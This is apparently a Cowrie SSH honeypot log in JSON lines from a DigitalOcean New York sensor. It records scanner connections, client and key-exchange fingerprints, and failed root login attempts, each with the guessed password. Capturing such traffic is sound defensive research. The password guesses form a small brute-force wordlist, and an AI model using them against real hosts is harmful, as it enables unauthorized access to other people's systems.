{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:44.591272Z","src_ip":"103.173.227.57","session":"6cfcdd1e201f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:44.832399Z","src_ip":"103.173.227.57","session":"6cfcdd1e201f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goodluck","message":"login attempt [root/goodluck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:45.554669Z","src_ip":"103.173.227.57","session":"6cfcdd1e201f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:46.798413Z","src_ip":"103.173.227.57","session":"6cfcdd1e201f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.73","src_port":57472,"dst_ip":"159.203.135.109","dst_port":22,"session":"468ff394b56e","protocol":"ssh","message":"New connection: 205.210.31.73:57472 (159.203.135.109:22) [session: 468ff394b56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:54.474666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:55.787295Z","src_ip":"205.210.31.73","session":"468ff394b56e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:56.787155Z","src_ip":"205.210.31.73","session":"468ff394b56e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:04.578830Z","src_ip":"205.210.31.73","session":"468ff394b56e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":45662,"dst_ip":"159.203.135.109","dst_port":22,"session":"7331cf302991","protocol":"ssh","message":"New connection: 46.19.67.181:45662 (159.203.135.109:22) [session: 7331cf302991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:04.583034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:04.588951Z","src_ip":"46.19.67.181","session":"7331cf302991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:04.717643Z","src_ip":"46.19.67.181","session":"7331cf302991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:05.073490Z","src_ip":"46.19.67.181","session":"7331cf302991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56758,"dst_ip":"159.203.135.109","dst_port":22,"session":"524f00267ae3","protocol":"ssh","message":"New connection: 185.236.22.41:56758 (159.203.135.109:22) [session: 524f00267ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:06.140664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:06.175379Z","src_ip":"185.236.22.41","session":"524f00267ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:06.195954Z","src_ip":"46.19.67.181","session":"7331cf302991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:06.257738Z","src_ip":"185.236.22.41","session":"524f00267ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzz123","message":"login attempt [root/zzz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:06.687417Z","src_ip":"185.236.22.41","session":"524f00267ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:07.799195Z","src_ip":"185.236.22.41","session":"524f00267ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":37008,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab4133033ac3","protocol":"ssh","message":"New connection: 170.106.188.200:37008 (159.203.135.109:22) [session: ab4133033ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:34.386681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:34.391401Z","src_ip":"170.106.188.200","session":"ab4133033ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:34.458942Z","src_ip":"170.106.188.200","session":"ab4133033ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scooby","message":"login attempt [root/scooby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:34.761787Z","src_ip":"170.106.188.200","session":"ab4133033ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:15:35.834970Z","src_ip":"170.106.188.200","session":"ab4133033ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":53976,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c409e8e87d9","protocol":"ssh","message":"New connection: 171.244.141.86:53976 (159.203.135.109:22) [session: 0c409e8e87d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:03.892395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:03.897194Z","src_ip":"171.244.141.86","session":"0c409e8e87d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:04.161804Z","src_ip":"171.244.141.86","session":"0c409e8e87d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkimujgik","message":"login attempt [root/dkimujgik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:05.230680Z","src_ip":"171.244.141.86","session":"0c409e8e87d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:06.492247Z","src_ip":"171.244.141.86","session":"0c409e8e87d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":53892,"dst_ip":"159.203.135.109","dst_port":22,"session":"2278eceebc29","protocol":"ssh","message":"New connection: 103.91.246.101:53892 (159.203.135.109:22) [session: 2278eceebc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:09.372500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:09.377125Z","src_ip":"103.91.246.101","session":"2278eceebc29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:09.611634Z","src_ip":"103.91.246.101","session":"2278eceebc29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lll","message":"login attempt [root/lll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:10.576881Z","src_ip":"103.91.246.101","session":"2278eceebc29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:11.814938Z","src_ip":"103.91.246.101","session":"2278eceebc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56221,"dst_ip":"159.203.135.109","dst_port":22,"session":"38807ef2af53","protocol":"ssh","message":"New connection: 152.42.212.128:56221 (159.203.135.109:22) [session: 38807ef2af53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:40.574032Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:40.578750Z","src_ip":"152.42.212.128","session":"38807ef2af53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:40.585552Z","src_ip":"152.42.212.128","session":"38807ef2af53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":52164,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c8687a3836","protocol":"ssh","message":"New connection: 170.106.188.200:52164 (159.203.135.109:22) [session: c3c8687a3836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:43.904961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:43.909466Z","src_ip":"170.106.188.200","session":"c3c8687a3836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:43.977365Z","src_ip":"170.106.188.200","session":"c3c8687a3836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radio7","message":"login attempt [root/radio7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:44.280838Z","src_ip":"170.106.188.200","session":"c3c8687a3836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:16:45.351512Z","src_ip":"170.106.188.200","session":"c3c8687a3836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":56704,"dst_ip":"159.203.135.109","dst_port":22,"session":"011a2bce6191","protocol":"ssh","message":"New connection: 43.173.125.185:56704 (159.203.135.109:22) [session: 011a2bce6191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:27.648730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:27.652735Z","src_ip":"43.173.125.185","session":"011a2bce6191","protocol":"ssh"}
